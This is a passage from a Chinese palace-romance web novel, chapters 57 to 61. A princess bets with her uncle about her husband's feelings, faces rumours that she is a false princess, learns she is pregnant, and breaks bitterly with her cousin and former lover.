“其实驸马并没你口中的那般不堪,我跟陛下之所以会同意这一桩婚事,并非出于利益交换的考量,当然完全没有也不可能。” “但,山照,你要相信这一点。我,无比珍视你的存在,我宁愿切割自己的利益也不愿让你受到伤害。陛下虽然冷情,但他对姐姐那份愧疚之心,你日后若是有机会自然会见识到有多情深义重的。” 山照冷哼一声:“父皇怎会是个念旧情的人呢?舅舅,你不要骗我。” 赵仪只是笑而不答,这便是不想告诉她。 山照见问不出来,便换了个问题:“驸马有什么优点让你们念念不忘,舅舅,你倒是说来给我听听。” “其一,他不爱女色,不会轻易辜负你。其二,他对皇权无意,不会将你搅进乱局。其三,他聪慧英俊,你想想孩子们像他是不是也不错。这些优点还不够吗?其实你自己找的那个,在我看来尚且还没有这些优点呢。” 山照点头又摇头:“如果我和驸马真心相爱,这些优点自然是锦上添花,可没有感情,这些便也算不得什么了。” “没有感情?那你怎么……”赵仪意有所指的笑了起来。 山照尴尬起来,这事说来,她也不算十分清白。 赵仪没有紧抓着这事,径直说了下去:“其实,你们有相爱的可能。” 山照皱眉,她现在觉得舅舅开始胡说八道了:“我怎么不知道什么时候能跟驸马‘相爱’了?不会就凭那点浅薄的欲-望吧,这……” 赵仪自然不是随口乱说的,有些事情是只缘身在此山中,当事者是看不清楚的,只是凭他一张嘴巴也说不清楚。 他转念一想,便有了个好主意。 “饮食男女,能生情便是有可能,管他是什么情呢。你对驸马如此偏见下,都能接受他的亲近,那说明你是欣赏他的。为何你不试着更客观一点看待驸马呢,或许结局就会大大不同。” 山照心里对驸马的偏见是有的,她承认。但赵仪说的这个假设,她就不能接受了,难道感情不是水到渠成一般自然吗,譬如她跟表哥那般心照不宣。 她这般想着,面上也显露出来。 这样又正合了赵仪的意,越是不相信,等真能证明的时候她才会认知到更多的事情。 “那便打个赌吧。我赌驸马对你真有情意,我若输了,就支持你们和离。而且,也不再插手你的婚事!” 山照毫不思索就答应了,稳赢的局她怕什么。 但随即她想到一个问题:真心要如何核定呢?便是表哥受了水刑过了父皇那关,可最终不也放弃了他们的感情,这样瞬息万变的东西,怎么考量? 她看向赵仪,既然他能说出打赌的事情,便是心里已经有了打算。 果不其然,赵仪挥挥手,叫她靠近些,而后跟她密语了几句。 山照眼睛瞪大,一脸不可置信:“这……是不是闹太大了?” “这就不是你要考虑的事情了。山照,就说如此这般,你认不认吧?” 山照思量了一番,半晌才点头:“若驸马真能在这件事情上不退缩,我便承认自己看走眼了。若他真的是抱着真心,那我公平一点,给他一个机会也没关系。” “可是,若我对他改观之后还是发现我们依旧不合适呢?” 赵仪眯着眼笑笑,那双凤眸比平日更多几分意味深长:“那我也支持你和离!” 山照伸出右手做出击掌的姿势:“一言为定!” 一只温热大手轻轻贴了一下山照的手掌,赵仪语气笃定:“一言为定!” 第58章 第 58 章 真假公主 “起来吧。” 山照整好以暇立在孟浴恩跟前, 一想到过几天舅舅将会排练一出好戏,到时候驸马现在脸上到底是‘假面’还是‘真容’就能彻底揭开,她就有点控制不住脸上的笑意。 当然, 这笑意也跟她这会想的东西有关。她想:这么冷的天,又跪着, 驸马的腿肯定一时站不直, 倒是要看他还能不能保持仪态。 “谢殿下。” 他轻弯被冻得发白的嘴唇, 又作势要起身, 但不过刚抬起一只脚就有些站立不稳,身子径直朝着山照歪了过去。 山照往后躲了一步, 钗环一连串的叮当作响, 还是被男人半抱入怀。 “殿下……”男人刚好将脸埋在山照腰腹。 但山照不会相信真有这样的巧合,只能是他故意做戏的。 可恨,又被他算到了。 她挣了几下,没挣开, 只能用鞋尖踢了踢男人的腹部:“起开!要是实在腿软就在这躺着吧。” 而后冷哼:“舅舅这里倒不缺这么块地方。” 话虽说的强硬,但孟浴恩知道比起之前爱搭不理的模样已经是好了许多,必定是承恩公从中劝说斡旋。 “不,臣要跟殿下一同回府。”先表忠心,又微微侧头,看向公主身后站着的承恩公,隔着几尺的距离,语气诚挚对他道谢:“谢过承恩公殿下。” 赵仪也是礼貌微笑:“夫妻之间哪有不吵架拌嘴的, 驸马以后要多包容些才好。” “哼, 谁包容谁还不好说呢。”山照反驳。 又转身给承恩公使了个眼色:“舅舅,那我就回府了。过几天……” 赵仪也轻轻眨眼回应她:“放心吧,很快就有消息了。” 孟浴恩站起身, 身体比往常更贴近山照:“殿下在说什么呢?” 山照斜他一眼,没个好脸色:“跟你无关。” 没过多久,两人带着一干仆从浩浩荡荡回了公主府。 才进二门,山照就被门口正对跪着的一尊‘冰雕’吓了一跳。 杨力行脸色发紫,头发睫毛都结了厚厚的白色霜冰,衣服也冻得硬邦邦的,整个人几乎不见一丝活气。 冻成这样,他本应该没有知觉了,但山照一站在他面前,杨力行却像知道一般。 那微闭的双眼勉强睁开一条缝隙,嘴角开合几下似乎想说什么,但没等发出声音便双眼一闭身体‘咚’的一声倒了下去。 山照大惊,立刻喊道:“来人!!!” 就算做不成情-人,山照心里还是把杨力行当亲人的,这一下惊的她无暇顾及其他的事情。 她一面指挥婢女们把人抬进室内,一面焦急吩咐小厮去请医师,完全忽略掉了身后的驸马。 孟浴恩眼睛紧盯着山照,他不明白为什么公主还会关注这个男人,都已经是被别人染指过的废物了。 他跟着,一直进了室内。从前便也罢了,现在开始,他不允许其他男人再亲近公主。 宜夏乘着机会低声告诉山照她走后发生的一应事情。 “您走后,杨公子便面对着门口跪了下来,说是要等殿下回来,奴婢们实在是劝说不了。本也奉上了饭食,但杨公子执意不肯用……这便等到了此刻。” 山照听着这话,心里两面拉扯起来。 她一面觉得表哥做这些事情很虚无,若真有这么爱,为何又会背叛?可从小一起长大,相知相伴的感情却不是一夕之间就会消失的,她一面还是本能的关心他。 这番关切姿态落在孟浴恩眼中,这便是旧情难忘。他不明白,自己伏低做小这么久,为何公主对他的态度还是阴晴难辨,难道他真就比不过这个泥腿子? 他内心中有什么陌生的情绪涌动,叫他沸腾、叫他抓挠。 那是高傲之人从不曾体会到的——嫉妒。 ** 医师匆匆赶来,把了脉,又一一看过杨力行的眼角舌根,这才开了方子。 “公子寒气入体,今日恐怕要发热,若能退热还可,若不能……恐也有些凶险。” 山照静静看着表哥恢复些血色的面孔,若是从前,她必定是要守着他醒来的,可是如今……她还不至于如此犯贱。 哪怕今夜一样是想着他的病情无法入眠,她也不要在这里。 忍住,一切都会过去。 山照召来宜夏:“表哥带回来的那个女子呢?便叫她照顾吧……” 若说怨,自然也是有的,但山照不怪那个女子,她便是为难她也改变不了任何事情。 就像她本来可以自幼锦衣玉食,但阴差阳错这么些年才寻她回来,最终只能这样不尴不尬的当着这个无人在意的公主。 她自然可以怨,怨狠心抛弃她的皇后、怨不够关心她的皇帝,甚至可以怨来迟了的舅舅,可怨怪有用吗? 山照不愿意自己沉浸在这种情绪中,她总要向前看,爱也好恨也罢,终会消散在时间中。 就当表哥从始至终,都只是她的表哥吧。 “叫府医好生医治,若无大事,不必告诉我了。” 宜夏听懂了公主的割席之意,待府医开好药,就把杨力行移到了他在外院的住处,并将暗门锁住了,叫他哪怕病好也再不能私自进内院。 杨力行醒来后如何失落暂且按下不表。 时间飞逝,很快又过一旬。 上京,尚膳酒楼。 “却说那日,晴空朗朗,正是个难得的好天气,午门外的登闻鼓却响了起来……” “登闻院小吏开门一看,正是个花样女子红肿着双眼敲鼓。” 有着一把飘逸胡须的中年说书先生顿了顿,见听客都聚精会神,他放软了嗓音,仿佛自己是那个问话的小吏,用手遥遥一指:“这是哪里来的小娘子敲鼓,可知这鼓一响便要廷杖三十,你这样单薄的身子怎么受得了?” 听客眼前便浮现出一个弱质纤纤的女子身影,纷纷替她吸了一口冷气。 “那女子便答自己实有冤情,不得已而为之。” 那小吏见她不似诬告,便进门禀告院事,院事本以为又是一桩普通的诉讼罢了,走出门一看,当场大惊! 说书先生往案上一拍,双目圆睁:“那女子的模样竟然……” 说到后半句的时候语气倏然低了下来,像是悄声密语:“竟然活像那位!” 说书先生用手指指天上,这便是代指皇帝了。 众人齐齐‘咴’了一声。 “更离奇的是——当日,这女子就被一辆牛车接进宫中了,听说至今也没出来。” 说书先生又顿住了,一旁的小童便端着领赏钱的盘子到处晃了一圈,嘴里不住说着吉祥。 听客好奇心彻底被勾起来,一把又一把的往里撒着铜钱:“先生继续讲!” 说书先生便又摸-摸胡子,见铜钱的数量不少,这才又神神秘秘的补充了几句:“宫里的事情,小人可不知道了。只是据说当日,上头那位急召了承恩公入宫,听说出来时,承恩公的面色极为不好看呢……” “要知道,子肖父乃是常有的事情,承恩公认回来的那位,却说是像先皇后呢?” 台下众人一阵哗然,这是什么意思? 有那常看话本的好事者,便猜测是不是承恩公认错了人,没准泰和公主不是现在这位呢! 但说书先生已经收了银子下台去了,再问什么都不答,只剩坊间流言越传越厉害。 ** 民间议论纷纷,朝野上下也不可能一点风声没有。而且这谣言越传越厉害,却不见陛下或承恩公出来澄清,这就容易叫人想的更深一层。 但众臣不敢去试探昭明帝或承恩公,于是将目光投向了丞相孟衡之,谁叫泰和公主正是下嫁他家呢。 最幸灾乐祸的是兵部侍郎,他一直看不惯孟衡之这种宠臣,觉得他们都德不配位,除了会媚上一点功劳都没,好不容易有这种热闹自然是要看。 散了早朝,他朝丞相一拱手,笑里满是戏谑:“丞相近期可有听见什么传闻没有?” 孟衡之自然知道是什么,他私下也为这事着急上火着,但这官面上也只能装作听不懂:“方侍郎所言何事?” “哦?丞相竟没听说登闻鼓响的事情?” 孟衡之一笑:“却不知方侍郎何时管了登闻院的事,倒是我孤陋寡闻了。” 兵部侍郎的脸一僵,这是骂他不务正业呢。想再意有所指几句,却也不方便再继续讲下去,到底事情还未尘埃落地,怕落下口舌上的把柄。 但依旧有些不甘心,只能阴阳怪气冷哼一声:“下臣倒是希望这事确实跟丞相无关呢……” 孟衡之笑而不语不接这茬,方侍郎见打探不出什么便走了。 丞相表面应对得体,内心却没有这么平静,他出宫登上自家马车便吩咐自己的贴身小厮:“再去请少爷回府,就说夫人生了重病,总之这次务必要将人请回来。” 他刚听到风声就派人去公主府请儿子回来,但孟浴恩不知怎么推拒了两三次,竟是不敢回来。 本来心里只有两分怀疑的孟衡之立刻察觉到不对劲,心里的怀疑增到了五分,儿子是驸马,公主那里有什么动静应该知道的很清楚,他有什么不敢回来说的? 想到婚前孟浴恩就对这门婚事有些不同以往的在意,孟衡之不得不怀疑是否自己的儿子是否已经知道了什么,这是故意避而不见,难不成……真有变故? 这猜测让他多年的养气功夫都险些破掉,若真娶错了人,孟家又将何去何从呢? 想到这里,他急得恨不能自己去公主府把儿子叫回来,可哪有公公贸然去登儿媳妇的府门的。 心里打定主意,要是小厮这次还叫不回儿子,自己就去国子监逮人,总不可能上值都不去了! 这逆子! 第59章 第 59 章 殿下大喜 冬晴无雪, 山照在房间里呆久了总觉得憋闷,这日见是个难得的无雪天,便起了些兴趣命婢女们在庭院中燃起火堆, 又让厨房准备了竹签串起来的羊肉,想跟婢女们在庭院中烤肉吃。 却不料火刚架好, 她坐在厚羊皮包裹住的暖洋洋的躺椅上, 一阵困意忽然袭来, 便双眼一闭打起瞌睡来。 近些日子也不知道是怎么了, 许是天气太冷了,山照白日里也总是犯困。婢女们已经习惯了, 一见公主眯着眼睛, 便纷纷噤声,生怕扰了公主。 婢女们虽然都是未经人事的年轻少女,但公主出嫁之时这些贴身之人都硬生生学了好些妇人之事,心里都有些猜测。 只是更多的便要等今日太医请了平安脉, 才好确定几分。 更何况,若真是有喜,这孩子又是谁的呢?这可是个犯忌讳的问题,便只是脑中想一想便像是有错一般。 迎着天光,一道纤长身影慢慢踱了过来,白色的狐皮大氅从他肩头一直垂到靴边,难言的矜贵。 婢女们纷纷行礼,却是一点声音也没发出来。 孟浴恩一见婢女们的表现便知道公主又睡过去了, 走近, 用一种专注到毫不闪躲的眼神看着山照,许久,许久, 直到她醒来。 山照只睡了盏茶的时候,便醒了过来,刚捂着嘴打了个哈欠,眼角就扫到了驸马。 这些日子驸马一切如常,更比往日黏人,山照心里泛起嘀咕:他难道还没听见风声?但不应该啊,她外头那些铺子的管事都听见了‘登闻鼓女子’的事情,孟家的耳目按理说比她更敏锐。 难道真如舅舅所言,驸马还真只是单纯喜欢她?这么冷血无情,视他人为草芥的人,真的会有喜欢这种感情吗? 山照不懂,但对驸马的黏人已经有点招架不住了。 “殿下近日总是嗜睡,是否有不适?” 山照眨眨眼:“应该还好吧?”但也不太确定:“待会太医要来,便问问罢。” 不想在这个问题上多纠缠,她转移视线,看向自己面前燃着的火堆,赞叹道:“这可真暖呀!” 火焰轻轻摇曳着,传来阵阵暖意。 “对了,厨房的羊肉签子弄好了吗?烤些来吃呀。” 几个贴身婢女是不太会烤肉的,因此是厨娘们带着食材在一旁现场炙烤,不一会就烤来几串。 烤好的羊肉放在雕花木盘里呈了上来,肉块上裹满香料和油脂,一阵诱-人的香味扑鼻而来。 宜春拿了一串起来,想用筷子把肉粒剥下来,用小碗装给山照,却被山照阻止了。 “这炙羊肉就是要一串串吃才好玩呢,宜春你这样弄,跟直接在后厨烤上端上来有什么区别?就这样给我吧。” “给我拿一串。”孟浴恩靠着山照坐下,开口:“让臣也体会一下这样的野趣。” 山照抿抿唇,还是不太习惯驸马用这么亲昵的姿态跟她说话。 但细细想想,他也没有再做什么越界的举动,倒是让山照不好说些什么。 她摇摇头,不再深思下去。 拿起一串,贝-齿一咬,便有一块羊肉入口,只是她才刚咀嚼几口,那本该鲜美可口的羊肉却忽然涌出极为强烈的膻味,那味道涌到喉间,山照心口一闷,便‘哇’的吐了出来。 驸马、婢女都是一惊,连忙围了过来。 山照难受着,根本管不了那些七手八脚安慰她的动静。等到一场吐过,这才发现驸马正抱着自己,另一只手拍着自己的后背,再看胸-前,那里已经有了一片被她吐污的痕迹。 山照刚想开口说些什么,胃里又是一阵反酸,‘哇’的又是一阵吐。 吐的昏天黑地的时候,她恍惚听见婢女们欢喜的声音——“余太医来了!” 紧接着又是一阵骚乱,只有自己腰间的那只手,一直稳稳的,倒让她安心不少。 余太医年约四十多,正是年富力强又经验丰富的时候,每月十五都会专程从宫里出来到公主府给山照请平安脉。 他见场面混乱,便立刻放下医箱,低声对驸马说了声:“情况紧急,可能要冒犯殿下了。” 孟浴恩催促他:“别讲虚礼了,先看殿下是怎么了?” 余太医得了准话,这才隔着衣服握住山照右手手腕,凭着经验盲找到了内关穴紧紧按住。 不过几息时间,山照感觉到自己胃里那股翻江倒海的冲动缓和了许多,这才有精神让婢女为她擦衣漱口。 她向驸马投去一个抱歉的眼神,又看向余太医,声音有些虚弱:“余大人,我这是吃坏东西了吗?” 余太医低头,并没正面回答:“还要给殿下把把脉才能确定。” 山照轻点下颌,示意他上前来把脉。 余太医隔着手帕,两指搭在公主脉上,表情由惊转喜,又凝眉静心又搭了上去,一连三次,这才露出确实的笑容。 “殿下大喜,此乃滑脉!” 此话一出,一石激起千层浪。 ** 孟浴恩自然高兴,不过一次公主就顺利怀上了期盼已久的孩子。更令他欢喜的是,他也终于有了跟父亲交代的理由。 ‘真假公主’的流言已经传了十天,他还没有迟钝到一无所知。事实上,他心里也是思索了无数次这事情的真假,他总觉得从开始到发酵全程都透出一股古怪。 但无论如何,他不明白陛下和承恩公容忍流言四溢的理由。除非,山照当真是被认错了,而陛下不愿意此时引发更多的震动,只能巧借流言,让诸臣百姓自己先猜出来。 这样等到真相公布的时候,就能够大大减轻这件事情的影响。 但这个理由也不能完全说服他,这并不符合皇室一向低调的作风,找错公主这样的事情并不光彩,低调的处理好这件事情更符合常理。 但考虑到承恩公曾经为山照回宫在民间造势的行为,如果这次也是做好将真公主迎回,而假公主就错论错也一并保留公主的称号这样两全其美的打算,也不是没有可能。 若山照真是被错认了,这样的结局无疑是最好的。但……父亲那边依旧不好交代,毕竟孟家想要的,是皇室血脉。 驸马一职,对世家子弟来说绝对不算一个上乘的选择,更别提家族独子了。 孟浴恩攥了攥拳头,他没有想换个妻子的想法,哪怕他跟山照并不如想象中那般恩爱,可强扭的瓜就算不甜他也绝不会吐-出去的。 他想起父亲的屡次传信,更别说方才丞相府又来人了,他意识到这下是非得跟父亲商议出个结果来不可了。 他走进屋内,婢女们正对山照嘘寒问暖、关怀备至。 从知道喜讯开始,婢女们先小心翼翼的将山照移回了室内,然后就是现在这样了,殷勤到恨不能出恭都以身替之。 驸马这会看着山照的眼神格外温柔,他露出些许歉意:“殿下有喜,臣本该陪伴左右的。只是方才父亲找人传话,说母亲有些不适让我归家探望。” 山照从发懵的状态中清醒了些,她皱眉,不知道是讨厌这个人,还是讨厌这个消息,总之内心充满了烦躁之感,很想寻个事情来发泄一下。 于是她也不顾在场如此多的婢女,颇有些嘲讽般的暗示:“这孩子本也不需要驸马的陪伴,驸马不必对此抱歉。” 山照并不知道驸马给杨力行下绝嗣药的事情,所以她故意用杨力行更有可能是这个孩子的父亲的事实暗示驸马。 但没想到驸马一点尴尬之色都没有,只是又说了几句什么马上就回来之类的话就离去了。 山照直觉有点不对劲,她不觉得驸马会是心大到一点不在意孩子血脉的人,被迫养别人的孩子,哪怕只是有一点几率,他也不应该如此平静。 还是说,他的伪装太强了,她没能看出他内心的挣扎? 宜春见公主一直凝着眉思考,劝解了一句:“殿下切勿多思,多思伤身,如今将小殿下平平安安诞下是最重要的事情了。” 山照点点头,暂且将这件事放下了。她虽然心里也对孩子生父是谁有点纠结,但毕竟是努力了许久才得来的孩子,她必定是要生下来的。 她抬头,忽然问了一句。 “表哥的病好了么?” 宜春犹豫了下,她不愿意将不好的消息说给公主,但又不能隐瞒,只能尽量客观说出自己了解到的情况。 “杨公子目前无恙,只是人烧了两天才退烧,后来又总是梦中惊厥,医师说有些伤到根基,需要卧床静养一段时间再看。” 山照惊讶看向她:“这么严重为何不告诉我?” 宜春垂眸:“殿下,这是奴失察,具体情况奴也是最近才知道的。杨公子不愿用这些事情来打扰公主,因此双喜将实际情况隐瞒了下来,奴也并未召见医师了解详情。所以……” 宜春算是几个贴身丫鬟中最受器重的,虽然山照从灵曲之事后,对婢女们再不复曾经的亲近,但总是需要人办事的,谁办事快又让人放心,山照自然器重谁。 所以虽然没有担当大丫鬟的职务,但宜春已经开始行使大丫鬟的权力了,每日零零碎碎的事情太多,杨力行那种已经被公主边缘的人她自然没有用太多精力去关注。 山照看着她,末了叹了口气。 “我相信你不是故意的。但表哥这又是何苦呢?” 宜春没有对这种问题发表意见,只是安慰公主:“殿下,杨公子如今能安然养病,已经是殿下的恩德了。” 山照想的却不是恩不恩德,而是犹豫着要不要再见一下表哥。 其实表哥跟双喜的事情,疑点是很多的。山照一直觉得,驸马没有那么简单说实话,表哥也没有那么容易就放弃。 只是她当初觉得,最终的答案已经告诉她表哥的态度就是放弃。不管是因为什么理由放弃,都是放弃,真相到底如何并不重要。 可是,她怀孕了,孩子或许还是需要父亲的。 若他其实没有做出过什么,若他只是被驸马强逼才不得已……她要原谅他么? 山照犹豫了一瞬,又将那个选择从自己脑海中挥散。她知道这件事情已经摧毁了她对表哥全然的信任,就算勉强继续,也回不到当初,只会让两个人都继续痛苦。 “你们都先下去吧。宜春陪着我就好。” 山照见其余婢女都退下,这才认真看着宜春问道:“宜春,我有一件很重要的事情问表哥,但无论他的答案如何,我都已经有了选择。你觉得,我还需要问他这个问题吗?” 宜春知道这个问题对殿下来说一定很重要,所以她才犹豫不决,想要寻求自己的解答。 她并没有第一时间回答,而是观察着山照不自觉摸着自己的肚子的手。 母性真是个奇怪的东西,明明公主才知道喜讯不到一个时辰,但她现在已经开始进入母亲的角色了。 “殿下,若是这个答案能让您心安一些,何妨一问呢?” 山照是懂这个道理的。 但她害怕问出不好的结果。她虽然已经决定想要这个孩子,但若是孩子的生父或养父人品低劣,她也不免内心会有许多负面情绪出现。 若是不问,或许还能稀里糊涂的过一段时间。 “带我去见表哥吧。” 山照纠结许久,最终还是打算直面现实。舅舅说的对,哪怕是个错误的决定,她至少也要知道哪里错误了。 探寻真相的决定权一直在她手上,她不能因为害怕得到不好的答案就放弃这种权力。 管不了别人的事情,她总能决定自己的事情吧? 想明白这点,她表情更坚定了。 “就现在吧,通知一下表哥。对了,先别告诉他这件事情。” 宜春点头退下,留了片刻安静给山照。 第60章 第 60 章 他们不配 孟浴恩回府就径直去了父亲书房, 他知道从来也没有什么母亲生病的事情,几次三番的找他不过是父亲听到风声着急问自己真相罢了。 果不其然,等他进屋, 父亲已经在家中等待良久了,见了他, 更是没有好脸色。 “终于舍得回家了?” 孟衡之正襟危坐, 身上朝服都还未脱, 满身是威严感。 他如同大多数的官员父亲一样, 对儿子是威严有余、慈爱不足。 孟浴恩俯身一揖:“叫父亲久等了。” 自家亲父子也没必要打官腔,孟衡之直接问道:“依你看, 泰和公主究竟是真还是……?” 孟浴恩垂眸, 鸦羽般的睫毛掩盖住了他瞳孔的波动。 “父亲,我已经娶了她。是真还是假,都没意义了。” 孟丞相一听这回答,顿时牙酸, 他就知道!不回家指定是心里有别的想法! 但放下茶杯的声音还是大了些:“怎么会没意义?一切都还有转机!” 孟衡之是最不相信什么天命所归的,若他信,他就该默默无闻的当个不大不小的官,期待着有一日后世子孙能将孟家发扬光大。 但他就是因为不信,至少在他这一代,他们家就是顶级的官宦之家。但得了一就想二,自己风光还不够,他想要的是子子孙孙、千古流芳。 因而站队就是他不得不做的事情, 不仅要站, 还要站的早站的决绝,不然他凭什么能够飞黄腾达? “父亲,我不知道公主到底是不是。但就算不是, 依着陛下和承恩公对殿下的喜爱,都不会太差的。甚至保留她的称号,认为义女,也是大有可能的。” “哪有你想的这么简单!若真身份存疑,陛下真不怀疑,泰和……是欺君之罪吗?到时候,我们又该如何自处?” 孟浴恩对这点倒是不太担忧,但凡陛下还有理智在身,就应该知道山照不是能够撒谎做戏的性子,何况她一介乡野农妇,又怎么能做戏做到能够欺骗他呢? “便是认错人,也该是承恩公担责。公主又懂什么呢?”孟浴恩必须寸步不让,他知道跟父亲谈判不是件容易的事情。一旦他的态度出现犹豫,父亲必定会想放弃山照。 “你!” 孟衡之简直不知道说他什么好了,现在怎么想法能如此单纯。他们现在是跟泰和公主绑到一条船上了,若船是好的自然大家都活,若船不好,他们现在还有跳船的机会,等到日后……可跑都跑不掉了。 “不要因儿女私情误了大事!若公主真有疑点,你不要故意隐瞒!” “父亲,儿子没有发现殿下有什么疑点。便是不对,也一定不是殿下愿意的。”孟浴恩随之又摇摇头:“陛下没有那般黑白不分,哪怕不对,儿子认为陛下也不会因为孟家娶了公主而迁怒。” 孟衡之考虑的不是他们能不能承受代价,而是他们从里面有没有获取到足够的利益。真公主变假公主这就是大大的失败,他们如果能够提前下注,还能挽回一些损失,但不知道自己以往根本毫无私情的儿子为何这次这么坚定。 “听我的。你去探探承恩公的口风!” 孟浴恩倒是不反对这点,真相对他来说也还是比较重要的。 但他向来了解自己的父亲,他不是那种善变的性子,一旦认定什么,必定是要践行的。此次他却没有什么过激的反应,这不正常。 于是,他看着父亲的脸,郑重道:“父亲,公主已经有孕,还请父亲不要有其他的想法。”!!! 孟衡之只惊不喜,怎么这个孩子来的如此不凑巧! 但这个孩子确实让他原本的计划无法施行,他只能退一步:“若公主是真的,那自然皆大欢喜。可若是假的,我会尽力斡旋让陛下下嫁真公主。” 孟浴恩叹口气,没有给出确定的回答:“在真相没有分明之前,父亲还是不要太着急了。以后的事情,日后再谈。” 两人的交谈就此为止。 可孟浴恩心中的挣扎却没有就此打住,他认真思考了,假如山照真是承恩公为了某种目的错认的,那他该用什么态度面对这件事情? 若陛下也不肯给她义女‘公主’的恩典呢?他还要视她为妻子吗? 他明确知道,为了求娶公主他们用了最大的‘情份’,一旦选择错误他将面临失去一切的风险。 他犹豫,前所未有的犹豫。 ** 山照之前从未来过杨力行在外院的房间。 这房间不大,虽然是独间,却也只有两室,进门便是正厅,侧边小门便是卧房,是极为紧凑的布局。 但宜春告诉山照,这已经是管事们才能居住的屋子了。下人们多的是睡通铺的,那可是六到八个人睡一张大床。 山照皱眉,有些疑惑:“我记得公主府有许多房间,应该能给他们都安排好住所。” “殿下有所不知,府内的确有许多空房间,但都是客房居多,下人们是不能住的。” “客房?但我这里从没待过客。” 宜春笑笑:“殿下虽没宴饮过宾客,可奴婢们却要时刻准备着,若有朝一日需要宴饮却不能安置宾客,可就不美了。” 山照不能理解这种做法:“所以,为了那些不知道几年回来一次的客人,让天天都在府里的下人们给他们腾地方?这太可笑了……” 宜春不知道怎么说,只能暗示公主:“毕竟主仆有别。” 山照闻言也是深吸了一口气,瞬间有些难受:“那就减少一些客房吧,最多叫他们四个人住一间房。” 哪怕在李家村的时候,山照也只是在弟弟们小的时候跟他们一间房,等他们长大了,她便是独自一间,虽然房间也不大。 她难以想象,一间房是如何住下八个人的,她只见过鸡鸭笼中那样拥挤活着的牲畜。 但随即,她又自嘲的笑笑:在权贵眼中,家里的奴仆还不如鸡鸭呢。是她的想法不合群,他们都是这样的。 山照忽然觉得没意思极了,才走到表哥门口,她便转身回去。 “走吧。” 宜春迟疑了一瞬,而后还是跟上了山照的脚步,只是叫了小丫鬟去告知杨公子一声。 山照回去就躺在了榻上。她觉得自己的状态不太对劲,特别容易心烦,特别容易沮丧。 “宜春,你说我这是怎么了?” “殿下,我听人说妇人有孕之后常有人性情大变,许是这个缘故。但奴婢也不是很清楚妇人的状态,要不还是请太医来看吧?现在殿下的身体可马虎不得。” 山照感觉自己的身体也并没有严重到需要请太医的程度,也许只是心情不畅快吧,拒绝了宜春的建议。 但没想到,吃过晚饭,她便开始隐约头疼。 山照感觉很是不妙,‘头疾’将犯,但府里两人,她一个都不想要。可若是随便寻些什么人来,她就更不愿意了,便打算自己硬挺着。 宜春是知道她这个毛病的,急得转圈:“殿下,还是请杨公子或驸马来吧?” 山照的头疼已经开始发作,撕扯着她的理智。她咬着唇,唇角都被咬得发白。 山照感觉自己要疼的受不了的时候,还是松口叫人去喊驸马回来,但没想到去丞相府并没请来驸马…… 宜春眼见殿下被病痛缠身,却也不愿意叫杨公子前来,她知道自己不能擅作主张,灵曲便是前车之鉴,可殿下这样又叫她心急如焚。 她声音愈发焦急,甚至带了些许哀求:“殿下,叫杨公子来吧!或者,奴去寻身家清白的儿郎……你腹中还有小殿下,如何禁得住这样的病痛。” 山照还犹有理智,但她知道自己也挺不了太久了,而且她也怕这头疼影响孩子,终是松了口。 “叫表哥来吧。” 另一边,杨力行早就担惊受怕了半天,他想不通为何表妹说要看自己,却忽然半路回转。他心里难过:难道表妹就这样不想见他吗? 于是再接到命令,让他去见公主时。杨力行硬撑着自己站了起来,叫婢女们扶着他到了山照寝宫。 他没有力气做什么,可安抚表妹本来也是不需要做那些事情的,只是往常如此亲密总会催生出别的情愫,可这次,表妹只是索取、啃噬,再也不复当初情意,好像他是一件死物一种工具。 人被爱时也许不知道究竟被怎样爱着,可一旦这种爱抽离,他便感受到了心里那种空旷的失落,是好大、好多、好满的失落。 她,不把他当作情人了。 杨力行不禁哀怨道:“表妹,你好绝情……” 山照的头疼减轻了,但心里很不舒服。她不愿要他,但还是找了他,这让她觉得挫败。 可这些情绪都没有杨力行这句控诉带给她的愤怒强,她抬起头,眼睛亮得吓人:“绝情?” 她一把推开杨力行,任由他跌坐在地上,脸上满是讥诮。 “我绝情?那我就该杀了你,杀了那个女人,杀掉一切背叛我的人……” 山照脸上是一番似笑非笑的表情,她开始恨自己,恨自己心慈手软,才叫那些背叛她的人得寸进尺。 “我真的错了吗?为何灵曲是这样,你也是这样,明明我已经足够体谅你们了,但你们还是觉得不够。” “那要怎么办你们才觉得我不绝情呢?让你肆意的欺瞒我,让灵曲无止尽的安排我?” ‘哼’…… 山照忍不住讥笑出声,她在头疼和烦躁中找到了情绪的出口,她现在要发疯!狠狠的发疯! 她不想要继续这样在乎这些不在乎自己的人的感受! 他们都不配!《 》 60-63 第61章 第 61 章 驸马免职 杨力行忍着身体的不适, 连忙解释:“表妹,我不是这个意思!” 山照没有回答他,只是漠然。 杨力行内心充斥着不甘, 他感觉到这次真的是要永远失去表妹了。 “表妹,其实我跟双喜没有什么!那都是……”他磕磕绊绊想把真相说出口, 但却被打断, 未尽的言语卡在喉间。 山照只是听了半句, 便抬眼, 一字一句道:“我、不、在、乎、了。” 哪怕是受到胁迫,哪怕是真的被逼做了对不起的她的事情, 山照觉得, 只要他足够坦白,她心里至少不会怨怪他。 她还是会难过,但至少不会是现在这样,想起来就觉得恶心。 山照太憋屈了, 她小心翼翼的维护着表哥的自尊心,感同身受去疼惜旁人,却没得到好的结果。 越想越委屈,她将自己憋了许久的话语一口气连串说出,疾风骤雨般进了杨力行耳中:“我知道你跟驸马合起伙来骗我,从那一刻起,你就不是我喜欢的人了。我喜欢的,是那个从小到大最会保护我的人。我喜欢的, 是那个永远会认为我是最重要的人。而你, 你不是了!” 她回想起许多曾经,越是清晰浮现,心就越痛。 她不明白, 为什么她身份高贵了、家产丰厚了,却更加不快乐了。 “我理解,我不是爹娘最重要的孩子,毕竟弟弟们才是他们的亲骨肉。我理解,我不是舅舅最重要的人,毕竟我跟舅舅之间缺了太多时间。我理解,我不是父皇亲近的孩子,毕竟对他来说骨肉亲情早就是缺失掉的东西。我甚至能理解,我对驸马来说,是随时可以被替换掉的待选项,因为我们从未抛去利益简单相处过。” 山照深吸一口气,感觉自己浑身的气血都在往上身涌,她的胸膛点燃着一把火,简直要将她的情绪燃尽。 “但我不理解,你,为何,放弃我。”山照脸上愤怒,眼眶却蓄满泪,接下来说出的字字宛如刀割:“我为了你,跟舅舅辩驳,跟父皇抗争,跟驸马周旋,你以为我就一点不难受吗?我不明白,我用尽全部力气要和你在一起,甚至不在乎天下悠悠众口,你怎么能用这种可笑的理由放弃我。” 她情绪太过激动,忍不住抽泣了下,但她曾经那种优柔之色,渐渐被一种更坚定更明确的感情替代掉。 